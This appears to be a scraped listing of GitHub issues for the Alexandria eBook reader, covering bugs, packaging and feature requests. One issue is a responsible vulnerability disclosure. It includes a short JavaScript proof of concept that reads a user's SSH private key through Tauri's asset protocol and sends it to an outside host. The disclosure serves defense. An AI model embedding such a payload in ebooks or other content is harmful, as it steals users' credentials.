btpf / alexandria Goto Github PK
View Code? Open in Web Editor NEWA minimalistic cross-platform eBook reader built with Tauri, Epub.js, and Typescript
License: GNU General Public License v3.0
A minimalistic cross-platform eBook reader built with Tauri, Epub.js, and Typescript
License: GNU General Public License v3.0
Add the possibility to pull books from a Kavita instance, having bidirectional synchronization for progress.
Great looking reader! Would love to install this as a Flatpak for automatic updates (and it helps for visibility).
Since Alexandria is using Foliate's FB2 code, you should know that it has quite a few bugs:
There's a patch in the comments for the first issue, and the second one should be straightforward to fix. I haven't investigated the last one, though.
I suggest a few additions to aid with books in other languages:
When using custom themes, it is possible to make the background such that the active tab highlights (blue) and the contents drop-down arrows do not have enough contrast to easily see.
"Secondary Background" is used for the fly-out background. This is clear to the user by looking at the miniature example given on this screen. However, the tab headings and drop-down arrows are not on this example. Therefore, the user has no idea what these will look like until they navigate to this in the application.
By setting the active tab to the same as "Secondary Text" the UI is color consistent.
The drop-down arrows have a different color in both provided themes. The user cannot directly control which is used in a custom theme.
The visual improvement of this in the provided themes is minor, and keeping this requires an additional setting in the Theme Settings to accommodate custom themes (either explicitly select this color or toggle between the preexisting two that are available).
Setting this color to the same as "Primary Text" solves all the usability issues at the expense of minor visual changes. The color difference between the arrows in both the provided Light and Dark themes are minor enough that maintaining the same color as the text won't impact usability.
Default Dark theme and Default Light theme
When switching modes, change the background of this element. (Perhaps inverse(1) or allowing for custom color setting when designing themes).
Please add Alexandria into the scoop repository, Winget repository, homebrew repository and NIX repository.
Verified EPUB contains a valid image file at ./OEBPS/cover.xhtml that refers to referencedFile at ./OEBPS/Images/referencedFile.jpg. Image opens in local viewer. Image does not show in Alexandria application.
Do you plan to add an option to adjust the spacing between paragraphs, separately from the line spacing option? I find having a bit of extra space between paragraphs really helps improve readability for me.
Showing one duplicate rectangle at 115%
Any logs or something I could provide?
I see the logo briefly in the taskbar before the app is gone again, no window to be seen.
Hi,
No matter which epub I open, I get the following error:
Error
No Section Found
Call Stack
_display
localhost/bundle.js:38209:31
dequeue
localhost/bundle.js:42118:24
undefined
localhost/bundle.js:42170:17
I tried a bunch of books and it always fails with the same error. One of the easiest ebooks to test with is the "Quick Start Guide" from calibre
:
Here's the log:
$ uname -a
Linux user 6.4.12-arch1-1 #1 SMP PREEMPT_DYNAMIC Thu, 24 Aug 2023 00:38:14 +0000 x86_64 GNU/Linux
$ ./alexandria_0.9.0_amd64.AppImage
Loading Config Directory
"/home/user/.local/share/com.btpf.alexandria/data"
PRINTING GET SETTINGS: Object {}
Themes Set: {"Default Dark": AppTheme { ui: uiTheme { primaryBackground: "#111111", secondaryBackground: "#252525", tertiaryBackground: "#252525", primaryText: "white", secondaryText: "grey" }, reader: ReaderTheme { body: ReaderThemeBody { background: "#181818", color: "#fff", link: "lightblue" }, image: ReaderImages { mixBlendMode: "", invert: false } } }, "Default Light": AppTheme { ui: uiTheme { primaryBackground: "#fef3e7", secondaryBackground: "#ffffff", tertiaryBackground: "#ffffff", primaryText: "rgba(0, 0, 0, 0.8)", secondaryText: "rgba(0, 0, 0, 0.6)" }, reader: ReaderTheme { body: ReaderThemeBody { background: "white", color: "black", link: "blue" }, image: ReaderImages { mixBlendMode: "", invert: false } } }}
{"sortBy": "", "sortDirection": "", "selectedTheme": "Default Light"}
659c974a
Book is Unique, Creating Directory
Printing location /home/user/Calibre Library/John Schember/Quick Start Guide (1)/Quick Start Guide - John Schember.epub
Milliseconds since the epoch (u128): 1693297594147
Milliseconds since the epoch (u64): 1693297594147
About to check malformed
RETURNING FIRST READ
Using: Alexandria v11.0 x64 portable (Win10)
I realize the function is flagged as temporary workaround, just reporting for completeness' sake.
Does it fit within the design goals of the app to add a bookshelf or tagging feature, to increase ease of use for larger book collections? At the moment, there isn't really a way to filter books by anything other than title; I would love to be able to categorize my collection instead of everything being jumbled together on the library screen.
Display text that covers an embedded SPAN tag. These are assigned as "pagebreaks," but are invisible in flowable text.
Highlight text with mouse and copy using the popup.
User received "Text Copied" toast message.
Pasting into another context (e.g., a different application) only pastes the text following the SPAN tag. This implies that the SPAN tag is segmenting the text copied to the clipboard into multiple streams, and the last one is retained.
Hello, can you tell me how to associate the program as the default reader for epub, and does the program not support the fonts already installed on the computer?Fonts that can only be downloaded by software???
For some reason even though the theme is the same on both books on one of them the text is grey instead of white making it very difficult to read. Creating a custom theme allows me to change the color of the text of one book but not the other.
Can user set/change the default book viewer setting for new book in the library?
For example I'd like to set following global default value for all new book when I open at the first time:
Currently the application default are:
As you can imagine, It's painful to repeat book setting for each book in the library, so I really wish this feature can be added in future release.
Thanks for the great software!
Platform: Linux
Issue: Installing with Flatpak installs the 0.11.1 version and not the 0.11.2 version.
Steps:
flatpak install io.github.btpf.alexandria
flatpak info io.github.btpf.alexandria
...
ID: io.github.btpf.alexandria
Ref: app/io.github.btpf.alexandria/x86_64/stable
Arch: x86_64
Branch: stable
Version: 0.11.2
...
flatpak run io.github.btpf.alexandria
[in GUI: settings > about]
...
Version 0.11.1
...
Comments: The bug that 0.11.2 was intended to fix (#20) is still observed. flatpak info
reports the correct version, but the UI does not. Since the bug is still observed, I assume that the version reported by flatpak info
is incorrect.
Could RPM packages perhaps, be built. I'm on OpenSUSE and I need a potential cross platform ebook reader like this. If the android version be built that is.
After updating to 0.11.0 the covers are not loaded in Library, and opening a book causes it to be empty, with the lower bar stuck in "loading...", the previous version worked perfectly.
This has been tested with Flatpak on Ubuntu 18.04.05 and SteamOS 3.4.11, both system have the same bug.
It would be useful if we could copy text directly from the sidebar/popup that appears when a footnote link is clicked. It'd save navigating to and from the footnote itself. I think it would come in handy when using a reference manager such as Zotero.
Consider adding Ollama integration to allow Ollama LLMs to work with ebooks.
Ollama is a FOSS offline AI solution that uses open source LLMs. They also have a JS library
I want to set alexandria as my default epub viewer but I cannot as it does not show up in the "open with" menu as an option in gnome (running debian 12)
Hi,
Didn't find any contact info, so opening an issue.
Looking at your sync issue in the FAQ, it seems to me that Alexandria is one software that would benefit from the local first approach (https://localfirstweb.dev/).
If you haven't looked at it yet, I would have a look at CRDTs, like automerge or yjs.
Pretty sure you're aware of those, so I'm curious about your take on it.
I am having the issue with latest (0.11.2version) in windows 10 pro 22h2. When i start the application it just crashes show the icon and then gone.
Used the latest setup and msi installer and portable version all crashes on start of application
Same issue duplicate - #3
sharing because it is happening with me now with new version
Hey,
I've discovered a vulnerability in Alexandria
. I'm sticking to GitHub's default template for advisories (maybe consider adding a SECURITY.md
):
An ebook containing malicious scripts has read-access to every file the current user has access to. The book needs to be opened by the user for this to work.
Testing was done on version 0.12.0 on Windows.
The epub.js
configuration optionallowScriptedContent = true
makes it possible to execute arbitrary JavaScript code from within an epub file:
epub.js
itself uses an iframe
to display the epubs. While it does set the sandbox
attribute, it also sets allow-same-origin
.
This can't be changed by the consumer of the library. A combination of allow-scripts
and allow-same-origin
renders the sandboxing obsolete (see here).
The developers of epub.js
warn about this.
In the case of Alexandria
, every function annotated with #[tauri::command]
is accessible to the script. An attacker might get creative with those, especially if more get added.
I've chosen a different route: Tauri
is configured to enable the custom asset
protocol:
Alexandria/src-tauri/tauri.conf.json
Line 24 in 8221c77
Because a wildcard is used, every file accessible to the user can be served that way.
Using fetch
or XMLHttpRequest
, the file contents can then be exfiltrated (see PoC video).
An ebook can be crafted with Calibre to include this bare minimum script (with a different file path):
(async function() {
const response = await fetch("https://asset.localhost/C:/Users/Public/.ssh/id_ed25519");
const file = await response.blob();
const privateKey = await file.text();
fetch(`http://localhost:8000?key=%${privateKey}`, { mode: "no-cors" });
})()
Users have to download a malicious book and open it, so the impact is not that severe. However, the attacker doesn't have to prepare a book specifically for Alexandria
, but can use some fingerprinting to determine in what environment it's running.
Distribution of malicious books could be done via pirate sites or even (online) conversion services, which could inject those malicious scripts.
Overall, I wouldn't be too worried. :^)
In an ideal world, scripted content would be turned off. There are, however, limitations with that approach.
The author of foliate
sums it up nicely here.
Maybe the user could be given the option to toggle scripted content.
Furthermore, the asset
protocol could be confined to known paths.
That's it! If something's unclear, please ask away.
Cheers
Frederic
PS: Audio warning for the PoC video!
I happen to have a ASUS eeepc 901 from 2008 still alive, and unfortunately, it's a Intel atom diamondville which is only 64 bits in desktop motherboards.
When opening the settings popup using the global menu bar, there is no local option to close this popup. A user intuitively searches for a method to close this popup locally; however, one must use the global menu bar to close it (i.e., using this button as a toggle is neither clear nor intuitive).
Add a close or drop-down icon to the upper right of this pop-up window. Maintain the toggle functionality for consistency between versions. Also request that clicking in the main text will close this and any similar popups.
Tried running the AppImage on Pop_OS (Ubuntu 22.04) and got this error:
alexandria: /lib/x86_64-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.32' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libwebkit2gtk-4.0.so.37)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libsystemd.so.0)
alexandria: /lib/x86_64-linux-gnu/libm.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libxml2.so.2)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libmount.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libmount.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libdw.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.36' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libXdmcp.so.6)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libblkid.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libelf.so.1)
alexandria: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.38' not found (required by /tmp/.mount_alexanFjr52b/usr/lib/libudev.so.1)
Please support PDF files.
src-tauri
looks like it uses the default multi-threaded tokio runtime, this will spawn one OS thread per core. On my machine that means 16 threads. The current_thread
scheduler, uses only one OS thread and tokio tasks are scheduled concurrently on it and is probably all this project needs?
This is a one line change, you can swap #[tokio::main]
for #[tokio::main(flavor = "current_thread")]
Totally unrelated, I'm not familiar with tauri but a quick blurb somewhere on how to get it the project running from src might be nice.
The rust src throws off a bunch of clippy warnings. I'm happy to do a little cleanup if you want.
Hi Everyone.
I opened github and saw that the project I was hoping to debut incrementally had exploded.
Google searching showed that this attention comes from my app being reposted on YCombinator.
So...Welcome :)
This attention is a little overwhelming and there is much to do so please bear with me.
Current Issues (In Order of priority)
Platform: Linux
Issue: In the add note popup, when writing long notes, a scrollbar becomes active. When navigating in that text with the keyboard, the navigation in both the window and the book are active. This causes the user to move multiple pages and lose their place in the book where the note is being taken.
There are LLM integrations happening everywhere in PDF readers. I personally used a few PDF LLM integration solutions and they work decent enough to solve some basic doubts.
This could be a great benefit to users of this application if we have an LLM integrated to help users clear questions.
One example plugin with a famous Open source reader for e-devices - AskGPT - Demo. I think this might be a good feature addition.
I would love to hear others thoughts on this!
I can not find the porper apk file of this e-reader for my android device.
Feature suggestion:
An option should be added to override the book default of the "text-align" property, minimally to choose between "left" and "justify", possibly adding "right" and "center".
I'm not sure where it would best fit. "Spacing" would be logical, but "Display" might look better.
Would love to run this on my media server from a Docker container.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.